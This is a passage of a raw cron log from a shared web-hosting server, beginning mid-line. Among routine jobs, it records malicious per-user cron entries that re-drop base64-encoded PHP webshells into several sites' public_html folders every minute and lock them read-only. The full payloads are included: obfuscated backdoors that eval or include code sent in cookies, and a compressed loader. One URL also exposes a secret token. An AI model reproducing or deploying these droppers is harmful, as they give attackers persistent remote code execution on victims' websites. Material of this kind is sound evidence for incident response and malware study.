RVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:13:02 medusa CROND[29394]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:13:02 medusa CROND[29395]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:13:02 medusa CROND[29396]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:13:02 medusa CROND[29397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:13:02 medusa CROND[29398]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:13:02 medusa CROND[29399]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:13:02 medusa CROND[29402]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 08:13:02 medusa CROND[29403]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:13:02 medusa CROND[29404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:13:02 medusa CROND[29405]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:13:02 medusa CROND[29407]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Apr 19 08:13:02 medusa CROND[29412]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 08:13:02 medusa CROND[29414]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:14:01 medusa CROND[18422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:14:01 medusa CROND[18429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:14:01 medusa CROND[18430]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 08:14:01 medusa CROND[18431]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:14:01 medusa CROND[18432]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:14:01 medusa CROND[18433]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:14:01 medusa CROND[18434]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:14:01 medusa CROND[18435]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:14:01 medusa CROND[18440]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:14:01 medusa CROND[18442]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:14:01 medusa CROND[18441]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:14:01 medusa CROND[18447]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:14:01 medusa CROND[18450]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:15:01 medusa CROND[9300]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 08:15:01 medusa CROND[9303]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 08:15:01 medusa CROND[9307]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 08:15:02 medusa CROND[9430]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:15:02 medusa CROND[9431]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:15:02 medusa CROND[9433]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:15:02 medusa CROND[9435]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:15:02 medusa CROND[9432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 08:15:02 medusa CROND[9436]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 08:15:02 medusa CROND[9437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 08:15:02 medusa CROND[9434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:15:02 medusa CROND[9444]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
